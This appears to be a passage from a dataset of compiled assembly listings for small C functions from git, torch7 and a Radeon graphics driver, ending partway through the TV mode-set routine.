.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function exec_man_man _exec_man_man: ## @exec_man_man .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $16, %rsp movq %rdi, -8(%rbp) movq %rsi, -16(%rbp) cmpq $0, -8(%rbp) jne LBB0_2 ## %bb.1: leaq L_.str(%rip), %rax movq %rax, -8(%rbp) LBB0_2: movq -8(%rbp), %rdi movq -16(%rbp), %rdx leaq L_.str(%rip), %rsi xorl %eax, %eax movl %eax, %ecx callq _execlp leaq L_.str.1(%rip), %rdi callq __ movl %eax, %edi movq -8(%rbp), %rsi callq _warning_errno addq $16, %rsp popq %rbp retq .cfi_endproc ## -- End function .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "man" L_.str.1: ## @.str.1 .asciz "failed to exec '%s'" .no_dead_strip _exec_man_man .subsections_via_symbols
AnghaBench/git/builtin/extr_help.c_exec_man_man.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _THGetNumThreads ; -- Begin function THGetNumThreads .p2align 2 _THGetNumThreads: ; @THGetNumThreads .cfi_startproc ; %bb.0: mov w0, #1 ret .cfi_endproc ; -- End function .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _THGetNumThreads ## -- Begin function THGetNumThreads .p2align 4, 0x90 _THGetNumThreads: ## @THGetNumThreads .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp movl $1, %eax popq %rbp retq .cfi_endproc ## -- End function .subsections_via_symbols
AnghaBench/torch7/lib/TH/extr_THGeneral.c_THGetNumThreads.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _radeon_legacy_tv_mode_set ; -- Begin function radeon_legacy_tv_mode_set .p2align 2 _radeon_legacy_tv_mode_set: ; @radeon_legacy_tv_mode_set .cfi_startproc ; %bb.0: sub sp, sp, #368 .cfi_def_cfa_offset 368 stp x28, x27, [sp, #336] ; 16-byte Folded Spill stp x29, x30, [sp, #352] ; 16-byte Folded Spill add x29, sp, #352 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w27, -24 .cfi_offset w28, -32 adrp x8, _TV_STD_NTSC@GOTPAGE ldr x8, [x8, _TV_STD_NTSC@GOTPAGEOFF] str x8, [sp, #40] ; 8-byte Folded Spill adrp x8, _TV_STD_NTSC_J@GOTPAGE ldr x8, [x8, _TV_STD_NTSC_J@GOTPAGEOFF] str x8, [sp, #48] ; 8-byte Folded Spill adrp x8, _RADEON_TV_U_BURST_LEVEL_MASK@GOTPAGE ldr x8, [x8, _RADEON_TV_U_BURST_LEVEL_MASK@GOTPAGEOFF] str x8, [sp, #56] ; 8-byte Folded Spill adrp x8, _RADEON_TV_V_BURST_LEVEL_MASK@GOTPAGE ldr x8, [x8, _RADEON_TV_V_BURST_LEVEL_MASK@GOTPAGEOFF] str x8, [sp, #64] ; 8-byte Folded Spill adrp x8, _RADEON_TV_V_BURST_LEVEL_SHIFT@GOTPAGE ldr x8, [x8, _RADEON_TV_V_BURST_LEVEL_SHIFT@GOTPAGEOFF] str x8, [sp, #72] ; 8-byte Folded Spill adrp x8, _TV_STD_PAL_M@GOTPAGE ldr x8, [x8, _TV_STD_PAL_M@GOTPAGEOFF] str x8, [sp, #80] ; 8-byte Folded Spill adrp x8, _TV_STD_PAL_60@GOTPAGE ldr x8, [x8, _TV_STD_PAL_60@GOTPAGEOFF] str x8, [sp, #88] ; 8-byte Folded Spill adrp x8, _FRAC_BITS@GOTPAGE ldr x8, [x8, _FRAC_BITS@GOTPAGEOFF] str x8, [sp, #96] ; 8-byte Folded Spill adrp x8, _SLOPE_value@GOTPAGE ldr x8, [x8, _SLOPE_value@GOTPAGEOFF] str x8, [sp, #104] ; 8-byte Folded Spill adrp x8, _RADEON_TVCLK_SRC_SEL_TVPLL@GOTPAGE ldr x8, [x8, _RADEON_TVCLK_SRC_SEL_TVPLL@GOTPAGEOFF] str x8, [sp, #112] ; 8-byte Folded Spill adrp x8, _RADEON_TV_MASTER_CNTL@GOTPAGE ldr x8, [x8, _RADEON_TV_MASTER_CNTL@GOTPAGEOFF] str x8, [sp, #120] ; 8-byte Folded Spill adrp x8, _RADEON_TV_ASYNC_RST@GOTPAGE ldr x8, [x8, _RADEON_TV_ASYNC_RST@GOTPAGEOFF] str x8, [sp, #128] ; 8-byte Folded Spill adrp x8, _RADEON_TV_DAC_CNTL@GOTPAGE ldr x8, [x8, _RADEON_TV_DAC_CNTL@GOTPAGEOFF] str x8, [sp, #136] ; 8-byte Folded Spill adrp x8, _RADEON_TV_PLL_CNTL1@GOTPAGE ldr x8, [x8, _RADEON_TV_PLL_CNTL1@GOTPAGEOFF] str x8, [sp, #144] ; 8-byte Folded Spill adrp x8, _RADEON_TVPLL_RESET@GOTPAGE ldr x8, [x8, _RADEON_TVPLL_RESET@GOTPAGEOFF] str x8, [sp, #152] ; 8-byte Folded Spill stur x0, [x29, #-24] stur x1, [x29, #-32] stur x2, [x29, #-40] ldur x8, [x29, #-24] ldr x8, [x8, #8] stur x8, [x29, #-48] ldur x8, [x29, #-48] ldr x8, [x8] stur x8, [x29, #-56] ldur x0, [x29, #-24] bl _to_radeon_encoder stur x0, [x29, #-64] ldur x8, [x29, #-64] ldr x8, [x8] stur x8, [x29, #-72] ldur x0, [x29, #-64] sub x1, x29, #96 bl _radeon_legacy_tv_get_std_mode stur x0, [x29, #-80] ldur x8, [x29, #-80] subs x8, x8, #0 cset w8, ne tbnz w8, #0, LBB0_2 b LBB0_1 LBB0_1: b LBB0_84 LBB0_2: ldur x8, [x29, #-24] ldr w0, [x8] bl _to_radeon_crtc stur x0, [x29, #-88] adrp x8, _RADEON_VIN_ASYNC_RST@GOTPAGE ldr x8, [x8, _RADEON_VIN_ASYNC_RST@GOTPAGEOFF] ldr w8, [x8] adrp x9, _RADEON_CRT_FIFO_CE_EN@GOTPAGE ldr x9, [x9, _RADEON_CRT_FIFO_CE_EN@GOTPAGEOFF] ldr w9, [x9] orr w8, w8, w9 adrp x9, _RADEON_TV_FIFO_CE_EN@GOTPAGE ldr x9, [x9, _RADEON_TV_FIFO_CE_EN@GOTPAGEOFF] ldr w9, [x9] orr w8, w8, w9 adrp x9, _RADEON_TV_ON@GOTPAGE ldr x9, [x9, _RADEON_TV_ON@GOTPAGEOFF] ldr w9, [x9] orr w8, w8, w9 stur w8, [x29, #-112] ldur x0, [x29, #-56] bl _ASIC_IS_R300 subs w8, w0, #0 cset w8, ne tbnz w8, #0, LBB0_4 b LBB0_3 LBB0_3: adrp x8, _RADEON_TVCLK_ALWAYS_ONb@GOTPAGE ldr x8, [x8, _RADEON_TVCLK_ALWAYS_ONb@GOTPAGEOFF] ldr w9, [x8] ldur w8, [x29, #-112] orr w8, w8, w9 stur w8, [x29, #-112] b LBB0_4 LBB0_4: ldr x9, [sp, #40] ; 8-byte Folded Reload ldur x8, [x29, #-72] ldr x8, [x8] ldr x9, [x9] subs x8, x8, x9 cset w8, eq tbnz w8, #0, LBB0_6 b LBB0_5 LBB0_5: ldr x9, [sp, #48] ; 8-byte Folded Reload ldur x8, [x29, #-72] ldr x8, [x8] ldr x9, [x9] subs x8, x8, x9 cset w8, ne tbnz w8, #0, LBB0_7 b LBB0_6 LBB0_6: adrp x8, _RADEON_RESTART_PHASE_FIX@GOTPAGE ldr x8, [x8, _RADEON_RESTART_PHASE_FIX@GOTPAGEOFF] ldr w9, [x8] ldur w8, [x29, #-112] orr w8, w8, w9 stur w8, [x29, #-112] b LBB0_7 LBB0_7: ldr x9, [sp, #40] ; 8-byte Folded Reload adrp x8, _RADEON_SLEW_RATE_LIMIT@GOTPAGE ldr x8, [x8, _RADEON_SLEW_RATE_LIMIT@GOTPAGEOFF] ldr w8, [x8] adrp x10, _RADEON_SYNC_TIP_LEVEL@GOTPAGE ldr x10, [x10, _RADEON_SYNC_TIP_LEVEL@GOTPAGEOFF] ldr w10, [x10] orr w8, w8, w10 adrp x10, _RADEON_YFLT_EN@GOTPAGE ldr x10, [x10, _RADEON_YFLT_EN@GOTPAGEOFF] ldr w10, [x10] orr w8, w8, w10 adrp x10, _RADEON_UVFLT_EN@GOTPAGE ldr x10, [x10, _RADEON_UVFLT_EN@GOTPAGEOFF] ldr w10, [x10] orr w8, w8, w10 adrp x10, _RADEON_CY_FILT_BLEND_SHIFT@GOTPAGE ldr x10, [x10, _RADEON_CY_FILT_BLEND_SHIFT@GOTPAGEOFF] ldr w11, [x10] mov w10, #6 lsl w10, w10, w11 orr w8, w8, w10 stur w8, [x29, #-124] ldur x8, [x29, #-72] ldr x8, [x8] ldr x9, [x9] subs x8, x8, x9 cset w8, eq tbnz w8, #0, LBB0_9 b LBB0_8 LBB0_8: ldr x9, [sp, #48] ; 8-byte Folded Reload ldur x8, [x29, #-72] ldr x8, [x8] ldr x9, [x9] subs x8, x8, x9 cset w8, ne tbnz w8, #0, LBB0_10 b LBB0_9 LBB0_9: ldr x10, [sp, #72] ; 8-byte Folded Reload ldr x9, [sp, #64] ; 8-byte Folded Reload ldr x8, [sp, #56] ; 8-byte Folded Reload adrp x11, _RADEON_SET_UP_LEVEL_SHIFT@GOTPAGE ldr x11, [x11, _RADEON_SET_UP_LEVEL_SHIFT@GOTPAGEOFF] ldr w12, [x11] mov w11, #70 lsl w11, w11, w12 adrp x12, _RADEON_BLANK_LEVEL_SHIFT@GOTPAGE ldr x12, [x12, _RADEON_BLANK_LEVEL_SHIFT@GOTPAGEOFF] ldr w13, [x12] mov w12, #59 lsl w12, w12, w13 orr w12, w11, w12 ldur w11, [x29, #-124] orr w11, w11, w12 stur w11, [x29, #-124] ldr w11, [x8] mov w8, #-111 and w8, w8, w11 ldr w11, [x9] mov w9, #0 and w9, w9, w11 ldr w10, [x10] lsl w9, w9, w10 orr w8, w8, w9 stur w8, [x29, #-128] b LBB0_14 LBB0_10: ldur x8, [x29, #-72] ldr x8, [x8] adrp x9, _TV_STD_SCART_PAL@GOTPAGE ldr x9, [x9, _TV_STD_SCART_PAL@GOTPAGEOFF] ldr x9, [x9] subs x8, x8, x9 cset w8, ne tbnz w8, #0, LBB0_12 b LBB0_11 LBB0_11: ldr x10, [sp, #72] ; 8-byte Folded Reload ldr x11, [sp, #64] ; 8-byte Folded Reload ldr x8, [sp, #56] ; 8-byte Folded Reload adrp x9, _RADEON_ALT_PHASE_EN@GOTPAGE ldr x9, [x9, _RADEON_ALT_PHASE_EN@GOTPAGEOFF] ldr w12, [x9] ldur w9, [x29, #-124] orr w9, w9, w12 stur w9, [x29, #-124] ldr w8, [x8] mov w9, #0 and w8, w9, w8 ldr w11, [x11] and w9, w9, w11 ldr w10, [x10] lsl w9, w9, w10 orr w8, w8, w9 stur w8, [x29, #-128] b LBB0_13 LBB0_12: ldr x10, [sp, #72] ; 8-byte Folded Reload ldr x9, [sp, #64] ; 8-byte Folded Reload ldr x8, [sp, #56] ; 8-byte Folded Reload adrp x11, _RADEON_ALT_PHASE_EN@GOTPAGE ldr x11, [x11, _RADEON_ALT_PHASE_EN@GOTPAGEOFF] ldr w11, [x11] adrp x12, _RADEON_SET_UP_LEVEL_SHIFT@GOTPAGE ldr x12, [x12, _RADEON_SET_UP_LEVEL_SHIFT@GOTPAGEOFF] ldr w13, [x12] mov w12, #59 lsl w13, w12, w13 orr w11, w11, w13 adrp x13, _RADEON_BLANK_LEVEL_SHIFT@GOTPAGE ldr x13, [x13, _RADEON_BLANK_LEVEL_SHIFT@GOTPAGEOFF] ldr w13, [x13] lsl w12, w12, w13 orr w12, w11, w12 ldur w11, [x29, #-124] orr w11, w11, w12 stur w11, [x29, #-124] ldr w11, [x8] mov w8, #-78 and w8, w8, w11 ldr w11, [x9] mov w9, #62 and w9, w9, w11 ldr w10, [x10] lsl w9, w9, w10 orr w8, w8, w9 stur w8, [x29, #-128] b LBB0_13 LBB0_13: b LBB0_14 LBB0_14: adrp x8, _RADEON_RGB_DITHER_EN@GOTPAGE ldr x8, [x8, _RADEON_RGB_DITHER_EN@GOTPAGEOFF] ldr w8, [x8] adrp x9, _RADEON_TVOUT_SCALE_EN@GOTPAGE ldr x9, [x9, _RADEON_TVOUT_SCALE_EN@GOTPAGEOFF] ldr w9, [x9] orr w8, w8, w9 adrp x9, _RADEON_UVRAM_READ_MARGIN_SHIFT@GOTPAGE ldr x9, [x9, _RADEON_UVRAM_READ_MARGIN_SHIFT@GOTPAGEOFF] ldr w10, [x9] mov w9, #11 lsl w9, w9, w10 orr w8, w8, w9 adrp x9, _RADEON_FIFORAM_FFMACRO_READ_MARGIN_SHIFT@GOTPAGE ldr x9, [x9, _RADEON_FIFORAM_FFMACRO_READ_MARGIN_SHIFT@GOTPAGEOFF] ldr w10, [x9] mov w9, #7 lsl w9, w9, w10 orr w8, w8, w9 str w8, [sp, #32] ; 4-byte Folded Spill mov w0, #3 bl _RADEON_RGB_ATTEN_SEL ldr w8, [sp, #32] ; 4-byte Folded Reload orr w8, w8, w0 str w8, [sp, #36] ; 4-byte Folded Spill mov w0, #12 bl _RADEON_RGB_ATTEN_VAL ldr w8, [sp, #36] ; 4-byte Folded Reload orr w8, w8, w0 stur w8, [x29, #-116] ldur x8, [x29, #-88] ldr w8, [x8] subs w8, w8, #1 cset w8, ne tbnz w8, #0, LBB0_16 b LBB0_15 LBB0_15: adrp x8, _RADEON_RGB_SRC_SEL_CRTC2@GOTPAGE ldr x8, [x8, _RADEON_RGB_SRC_SEL_CRTC2@GOTPAGEOFF] ldr w9, [x8] ldur w8, [x29, #-116] orr w8, w8, w9 stur w8, [x29, #-116] b LBB0_20 LBB0_16: ldur x8, [x29, #-88] ldr x8, [x8, #8] adrp x9, _RMX_OFF@GOTPAGE ldr x9, [x9, _RMX_OFF@GOTPAGEOFF] ldr x9, [x9] subs x8, x8, x9 cset w8, eq tbnz w8, #0, LBB0_18 b LBB0_17 LBB0_17: adrp x8, _RADEON_RGB_SRC_SEL_RMX@GOTPAGE ldr x8, [x8, _RADEON_RGB_SRC_SEL_RMX@GOTPAGEOFF] ldr w9, [x8] ldur w8, [x29, #-116] orr w8, w8, w9 stur w8, [x29, #-116] b LBB0_19 LBB0_18: adrp x8, _RADEON_RGB_SRC_SEL_CRTC1@GOTPAGE ldr x8, [x8, _RADEON_RGB_SRC_SEL_CRTC1@GOTPAGEOFF] ldr w9, [x8] ldur w8, [x29, #-116] orr w8, w8, w9 stur w8, [x29, #-116] b LBB0_19 LBB0_19: b LBB0_20 LBB0_20: ldr x9, [sp, #40] ; 8-byte Folded Reload ldur x8, [x29, #-72] ldr x8, [x8] ldr x9, [x9] subs x8, x8, x9 cset w8, eq tbnz w8, #0, LBB0_24 b LBB0_21 LBB0_21: ldr x9, [sp, #48] ; 8-byte Folded Reload ldur x8, [x29, #-72] ldr x8, [x8] ldr x9, [x9] subs x8, x8, x9 cset w8, eq tbnz w8, #0, LBB0_24 b LBB0_22 LBB0_22: ldr x9, [sp, #80] ; 8-byte Folded Reload ldur x8, [x29, #-72] ldr x8, [x8] ldr x9, [x9] subs x8, x8, x9 cset w8, eq tbnz w8, #0, LBB0_24 b LBB0_23 LBB0_23: ldr x9, [sp, #88] ; 8-byte Folded Reload ldur x8, [x29, #-72] ldr x8, [x8] ldr x9, [x9] subs x8, x8, x9 cset w8, ne tbnz w8, #0, LBB0_25 b LBB0_24 LBB0_24: ldur x8, [x29, #-80] ldr w8, [x8] lsl w8, w8, #1 mov w9, #10000 mul w8, w8, w9 adrp x9, _NTSC_TV_LINES_PER_FRAME@GOTPAGE ldr x9, [x9, _NTSC_TV_LINES_PER_FRAME@GOTPAGEOFF] ldr w9, [x9] sdiv w8, w8, w9 stur w8, [x29, #-100] b LBB0_26 LBB0_25: ldur x8, [x29, #-80] ldr w8, [x8] lsl w8, w8, #1 mov w9, #10000 mul w8, w8, w9 adrp x9, _PAL_TV_LINES_PER_FRAME@GOTPAGE ldr x9, [x9, _PAL_TV_LINES_PER_FRAME@GOTPAGEOFF] ldr w9, [x9] sdiv w8, w8, w9 stur w8, [x29, #-100] b LBB0_26 LBB0_26: adrp x8, _RADEON_TV_VSCALER_CNTL1@GOTPAGE ldr x8, [x8, _RADEON_TV_VSCALER_CNTL1@GOTPAGEOFF] ldr w0, [x8] bl _RREG32 ldr x9, [sp, #96] ; 8-byte Folded Reload stur w0, [x29, #-108] ldur w8, [x29, #-108] mov w10, #-469827584 and w8, w8, w10 stur w8, [x29, #-108] ldur w8, [x29, #-100] ldr w10, [x9] mov w9, #1 lsl w9, w9, w10 mul w8, w8, w9 mov w9, #10000 sdiv w9, w8, w9 ldur w8, [x29, #-108] orr w8, w8, w9 stur w8, [x29, #-108] ldur w8, [x29, #-108] stur w8, [x29, #-132] ldur w8, [x29, #-96] subs w8, w8, #2700 cset w8, ne tbnz w8, #0, LBB0_28 b LBB0_27 LBB0_27: adrp x8, _RADEON_RESTART_FIELD@GOTPAGE ldr x8, [x8, _RADEON_RESTART_FIELD@GOTPAGEOFF] ldr w9, [x8] ldur w8, [x29, #-132] orr w8, w8, w9 stur w8, [x29, #-132] b LBB0_28 LBB0_28: ldur x8, [x29, #-80] ldr w8, [x8, #4] subs w8, w8, #1024 cset w8, ne tbnz w8, #0, LBB0_30 b LBB0_29 LBB0_29: adrp x8, _RADEON_Y_DEL_W_SIG_SHIFT@GOTPAGE ldr x8, [x8, _RADEON_Y_DEL_W_SIG_SHIFT@GOTPAGEOFF] ldr w9, [x8] mov w8, #4 lsl w9, w8, w9 ldur w8, [x29, #-132] orr w8, w8, w9 stur w8, [x29, #-132] b LBB0_31 LBB0_30: adrp x8, _RADEON_Y_DEL_W_SIG_SHIFT@GOTPAGE ldr x8, [x8, _RADEON_Y_DEL_W_SIG_SHIFT@GOTPAGEOFF] ldr w9, [x8] mov w8, #2 lsl w9, w8, w9 ldur w8, [x29, #-132] orr w8, w8, w9 stur w8, [x29, #-132] b LBB0_31 LBB0_31: ldr x9, [sp, #40] ; 8-byte Folded Reload ldur x8, [x29, #-80] ldr w8, [x8] lsl w8, w8, #1 mov w10, #1000 mul w8, w8, w10 stur w8, [x29, #-108] ldur x8, [x29, #-72] ldr x8, [x8] ldr x9, [x9] subs x8, x8, x9 cset w8, eq tbnz w8, #0, LBB0_35 b LBB0_32 LBB0_32: ldr x9, [sp, #48] ; 8-byte Folded Reload ldur x8, [x29, #-72] ldr x8, [x8] ldr x9, [x9] subs x8, x8, x9 cset w8, eq tbnz w8, #0, LBB0_35 b LBB0_33 LBB0_33: ldr x9, [sp, #80] ; 8-byte Folded Reload ldur x8, [x29, #-72] ldr x8, [x8] ldr x9, [x9] subs x8, x8, x9 cset w8, eq tbnz w8, #0, LBB0_35 b LBB0_34 LBB0_34: ldr x9, [sp, #88] ; 8-byte Folded Reload ldur x8, [x29, #-72] ldr x8, [x8] ldr x9, [x9] subs x8, x8, x9 cset w8, ne tbnz w8, #0, LBB0_36 b LBB0_35 LBB0_35: adrp x8, _NTSC_TV_LINES_PER_FRAME@GOTPAGE ldr x8, [x8, _NTSC_TV_LINES_PER_FRAME@GOTPAGEOFF] ldr w9, [x8] ldur w8, [x29, #-108] sdiv w8, w8, w9 stur w8, [x29, #-108] b LBB0_37 LBB0_36: adrp x8, _PAL_TV_LINES_PER_FRAME@GOTPAGE ldr x8, [x8, _PAL_TV_LINES_PER_FRAME@GOTPAGEOFF] ldr w9, [x8] ldur w8, [x29, #-108] sdiv w8, w8, w9 stur w8, [x29, #-108] b LBB0_37 LBB0_37: ldur w8, [x29, #-108] add w8, w8, #500 mov w9, #1000 sdiv w8, w8, w9 stur w8, [x29, #-104] ldur w8, [x29, #-104] subs w8, w8, #3 cset w8, ge tbnz w8, #0, LBB0_39 b LBB0_38 LBB0_38: mov w8, #3 stur w8, [x29, #-104] b LBB0_39 LBB0_39: stur wzr, [x29, #-92] b LBB0_40 LBB0_40: ; =>This Inner Loop Header: Depth=1 ldur w8, [x29, #-92] str w8, [sp, #28] ; 4-byte Folded Spill adrp x8, _SLOPE_limit@GOTPAGE ldr x8, [x8, _SLOPE_limit@GOTPAGEOFF] ldr x0, [x8] bl _ARRAY_SIZE ldr w8, [sp, #28] ; 4-byte Folded Reload subs w8, w8, w0 cset w8, ge tbnz w8, #0, LBB0_45 b LBB0_41 LBB0_41: ; in Loop: Header=BB0_40 Depth=1 ldur w8, [x29, #-104] adrp x9, _SLOPE_limit@GOTPAGE ldr x9, [x9, _SLOPE_limit@GOTPAGEOFF] ldr x9, [x9] ldursw x10, [x29, #-92] ldr w9, [x9, x10, lsl #2] subs w8, w8, w9 cset w8, ne tbnz w8, #0, LBB0_43 b LBB0_42 LBB0_42: b LBB0_45 LBB0_43: ; in Loop: Header=BB0_40 Depth=1 b LBB0_44 LBB0_44: ; in Loop: Header=BB0_40 Depth=1 ldur w8, [x29, #-92] add w8, w8, #1 stur w8, [x29, #-92] b LBB0_40 LBB0_45: ldr x12, [sp, #96] ; 8-byte Folded Reload ldr x14, [sp, #104] ; 8-byte Folded Reload ldur w8, [x29, #-100] ldr x9, [x14] ldursw x10, [x29, #-92] ldr w9, [x9, x10, lsl #2] mul w8, w8, w9 ldr w9, [x12] mov w11, #1 subs w9, w9, #1 lsl w9, w11, w9 mul w8, w8, w9 mov w9, #5001 add w8, w8, w9 mov w9, #10000 sdiv w8, w8, w9 mov w13, #8 sdiv w8, w8, w13 ldr x9, [x14] ldursw x10, [x29, #-92] ldr w9, [x9, x10, lsl #2] ldr w10, [x12] subs w10, w10, #1 lsl w10, w11, w10 mul w9, w9, w10 sdiv w9, w9, w13 orr w8, w8, w9, lsl #16 stur w8, [x29, #-160] adrp x8, _YCOEF_EN_value@GOTPAGE ldr x8, [x8, _YCOEF_EN_value@GOTPAGEOFF] ldr x8, [x8] ldursw x9, [x29, #-92] ldr w9, [x8, x9, lsl #2] adrp x8, _YCOEF_value@GOTPAGE ldr x8, [x8, _YCOEF_value@GOTPAGEOFF] ldr x8, [x8] ldursw x10, [x29, #-92] ldr w8, [x8, x10, lsl #2] lsl w8, w8, #8 sdiv w8, w8, w13 lsl w8, w8, #24 orr w8, w8, w9, lsl #17 adrp x9, _RADEON_Y_FALL_PING_PONG@GOTPAGE ldr x9, [x9, _RADEON_Y_FALL_PING_PONG@GOTPAGEOFF] ldr w9, [x9] orr w8, w8, w9 ldr x9, [x14] ldursw x10, [x29, #-92] ldr w10, [x9, x10, lsl #2] mov w9, #272 mul w9, w9, w10 sdiv w9, w9, w13 ldr w10, [x12] subs w10, w10, #1 lsl w10, w11, w10 mul w9, w9, w10 mov w10, #1024 sdiv w9, w9, w10 orr w8, w8, w9 stur w8, [x29, #-152] adrp x8, _RADEON_Y_RISE_PING_PONG@GOTPAGE ldr x8, [x8, _RADEON_Y_RISE_PING_PONG@GOTPAGEOFF] ldr w8, [x8] ldur w9, [x29, #-104] lsl w9, w9, #10 subs w9, w9, #272 ldr x14, [x14] ldursw x15, [x29, #-92] ldr w14, [x14, x15, lsl #2] mul w9, w9, w14 sdiv w9, w9, w13 ldr w12, [x12] subs w12, w12, #1 lsl w11, w11, w12 mul w9, w9, w11 sdiv w9, w9, w10 orr w8, w8, w9 stur w8, [x29, #-156] adrp x8, _RADEON_TV_VSCALER_CNTL2@GOTPAGE ldr x8, [x8, _RADEON_TV_VSCALER_CNTL2@GOTPAGEOFF] ldr w0, [x8] bl _RREG32 ldr x9, [sp, #40] ; 8-byte Folded Reload and w8, w0, #0xfffff0 stur w8, [x29, #-136] adrp x8, _RADEON_DITHER_MODE@GOTPAGE ldr x8, [x8, _RADEON_DITHER_MODE@GOTPAGEOFF] ldr w10, [x8] mov w8, #268435456 orr w8, w8, w10 adrp x10, _RADEON_Y_OUTPUT_DITHER_EN@GOTPAGE ldr x10, [x10, _RADEON_Y_OUTPUT_DITHER_EN@GOTPAGEOFF] ldr w10, [x10] orr w8, w8, w10 adrp x10, _RADEON_UV_OUTPUT_DITHER_EN@GOTPAGE ldr x10, [x10, _RADEON_UV_OUTPUT_DITHER_EN@GOTPAGEOFF] ldr w10, [x10] orr w8, w8, w10 adrp x10, _RADEON_UV_TO_BUF_DITHER_EN@GOTPAGE ldr x10, [x10, _RADEON_UV_TO_BUF_DITHER_EN@GOTPAGEOFF] ldr w10, [x10] orr w10, w8, w10 ldur w8, [x29, #-136] orr w8, w8, w10 stur w8, [x29, #-136] ldur w8, [x29, #-132] adrp x10, _RADEON_UV_INC_SHIFT@GOTPAGE ldr x10, [x10, _RADEON_UV_INC_SHIFT@GOTPAGEOFF] ldr w10, [x10] asr w8, w8, w10 adrp x10, _RADEON_UV_INC_MASK@GOTPAGE ldr x10, [x10, _RADEON_UV_INC_MASK@GOTPAGEOFF] ldr w10, [x10] and w8, w8, w10 stur w8, [x29, #-108] ldur w10, [x29, #-108] mov w8, #41943040 sdiv w8, w8, w10 add w8, w8, #5 mov w10, #10 sdiv w8, w8, w10 stur w8, [x29, #-108] ldur w8, [x29, #-108] adrp x10, _RADEON_UV_OUTPUT_POST_SCALE_SHIFT@GOTPAGE ldr x10, [x10, _RADEON_UV_OUTPUT_POST_SCALE_SHIFT@GOTPAGEOFF] ldr w10, [x10] lsl w8, w8, w10 mov w10, #720896 orr w8, w8, w10 stur w8, [x29, #-108] ldur w8, [x29, #-108] ldur x10, [x29, #-72] str w8, [x10, #16] ldur x8, [x29, #-72] ldr x8, [x8] ldr x9, [x9] subs x8, x8, x9 cset w8, eq tbnz w8, #0, LBB0_49 b LBB0_46 LBB0_46: ldr x9, [sp, #48] ; 8-byte Folded Reload ldur x8, [x29, #-72] ldr x8, [x8] ldr x9, [x9] subs x8, x8, x9 cset w8, eq tbnz w8, #0, LBB0_49 b LBB0_47 LBB0_47: ldr x9, [sp, #80] ; 8-byte Folded Reload ldur x8, [x29, #-72] ldr x8, [x8] ldr x9, [x9] subs x8, x8, x9 cset w8, eq tbnz w8, #0, LBB0_49 b LBB0_48 LBB0_48: ldr x9, [sp, #88] ; 8-byte Folded Reload ldur x8, [x29, #-72] ldr x8, [x8] ldr x9, [x9] subs x8, x8, x9 cset w8, ne tbnz w8, #0, LBB0_50 b LBB0_49 LBB0_49: ldur x8, [x29, #-72] ldr w8, [x8, #8] stur w8, [x29, #-120] b LBB0_51 LBB0_50: ldur x8, [x29, #-72] ldr w8, [x8, #12] stur w8, [x29, #-120] b LBB0_51 LBB0_51: ldr x9, [sp, #40] ; 8-byte Folded Reload adrp x8, _RADEON_TV_DAC_NBLANK@GOTPAGE ldr x8, [x8, _RADEON_TV_DAC_NBLANK@GOTPAGEOFF] ldr w8, [x8] adrp x10, _RADEON_TV_DAC_NHOLD@GOTPAGE ldr x10, [x10, _RADEON_TV_DAC_NHOLD@GOTPAGEOFF] ldr w10, [x10] orr w10, w8, w10 ldur w8, [x29, #-120] orr w8, w8, w10 stur w8, [x29, #-120] ldur x8, [x29, #-72] ldr x8, [x8] ldr x9, [x9] subs x8, x8, x9 cset w8, eq tbnz w8, #0, LBB0_53 b LBB0_52 LBB0_52: ldr x9, [sp, #48] ; 8-byte Folded Reload ldur x8, [x29, #-72] ldr x8, [x8] ldr x9, [x9] subs x8, x8, x9 cset w8, ne tbnz w8, #0, LBB0_54 b LBB0_53 LBB0_53: adrp x8, _RADEON_TV_DAC_STD_NTSC@GOTPAGE ldr x8, [x8, _RADEON_TV_DAC_STD_NTSC@GOTPAGEOFF] ldr w9, [x8] ldur w8, [x29, #-120] orr w8, w8, w9 stur w8, [x29, #-120] b LBB0_55 LBB0_54: adrp x8, _RADEON_TV_DAC_STD_PAL@GOTPAGE ldr x8, [x8, _RADEON_TV_DAC_STD_PAL@GOTPAGEOFF] ldr w9, [x8] ldur w8, [x29, #-120] orr w8, w8, w9 stur w8, [x29, #-120] b LBB0_55 LBB0_55: ldr x9, [sp, #40] ; 8-byte Folded Reload ldur x8, [x29, #-72] ldr x8, [x8] ldr x9, [x9] subs x8, x8, x9 cset w8, eq tbnz w8, #0, LBB0_57 b LBB0_56 LBB0_56: ldr x9, [sp, #48] ; 8-byte Folded Reload ldur x8, [x29, #-72] ldr x8, [x8] ldr x9, [x9] subs x8, x8, x9 cset w8, ne tbnz w8, #0, LBB0_61 b LBB0_57 LBB0_57: ldur w8, [x29, #-96] subs w8, w8, #2700 cset w8, ne tbnz w8, #0, LBB0_59 b LBB0_58 LBB0_58: adrp x8, _NTSC_TV_PLL_M_27@GOTPAGE ldr x8, [x8, _NTSC_TV_PLL_M_27@GOTPAGEOFF] ldr w8, [x8] stur w8, [x29, #-164] adrp x8, _NTSC_TV_PLL_N_27@GOTPAGE ldr x8, [x8, _NTSC_TV_PLL_N_27@GOTPAGEOFF] ldr w8, [x8] stur w8, [x29, #-168] adrp x8, _NTSC_TV_PLL_P_27@GOTPAGE ldr x8, [x8, _NTSC_TV_PLL_P_27@GOTPAGEOFF] ldr w8, [x8] stur w8, [x29, #-172] b LBB0_60 LBB0_59: adrp x8, _NTSC_TV_PLL_M_14@GOTPAGE ldr x8, [x8, _NTSC_TV_PLL_M_14@GOTPAGEOFF] ldr w8, [x8] stur w8, [x29, #-164] adrp x8, _NTSC_TV_PLL_N_14@GOTPAGE ldr x8, [x8, _NTSC_TV_PLL_N_14@GOTPAGEOFF] ldr w8, [x8] stur w8, [x29, #-168] adrp x8, _NTSC_TV_PLL_P_14@GOTPAGE ldr x8, [x8, _NTSC_TV_PLL_P_14@GOTPAGEOFF] 